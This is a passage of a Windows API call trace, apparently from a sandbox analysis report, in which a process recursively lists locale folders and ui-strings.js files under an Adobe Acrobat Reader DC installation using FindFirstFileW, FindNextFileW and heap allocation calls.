lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0253.068] GetProcessHeap () returned 0xc10000 [0253.068] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.068] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.068] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.068] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.069] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.069] GetProcessHeap () returned 0xc10000 [0253.069] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.069] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0253.069] GetProcessHeap () returned 0xc10000 [0253.069] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.069] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.070] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.070] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.070] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.070] GetProcessHeap () returned 0xc10000 [0253.070] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.070] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0253.070] GetProcessHeap () returned 0xc10000 [0253.070] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0253.072] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.072] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.072] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.072] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0253.072] GetProcessHeap () returned 0xc10000 [0253.072] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.072] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0253.072] GetProcessHeap () returned 0xc10000 [0253.072] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.073] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.073] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.073] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.073] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.073] GetProcessHeap () returned 0xc10000 [0253.073] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.073] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0253.074] GetProcessHeap () returned 0xc10000 [0253.074] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.074] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.074] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.075] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.075] GetProcessHeap () returned 0xc10000 [0253.075] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.075] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0253.075] GetProcessHeap () returned 0xc10000 [0253.075] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.076] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.077] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.077] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.077] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.077] GetProcessHeap () returned 0xc10000 [0253.077] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.077] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0253.077] GetProcessHeap () returned 0xc10000 [0253.077] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.078] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.078] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.078] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.078] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.078] GetProcessHeap () returned 0xc10000 [0253.078] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.078] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.079] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0253.079] GetProcessHeap () returned 0xc10000 [0253.079] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.080] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.080] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.080] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, 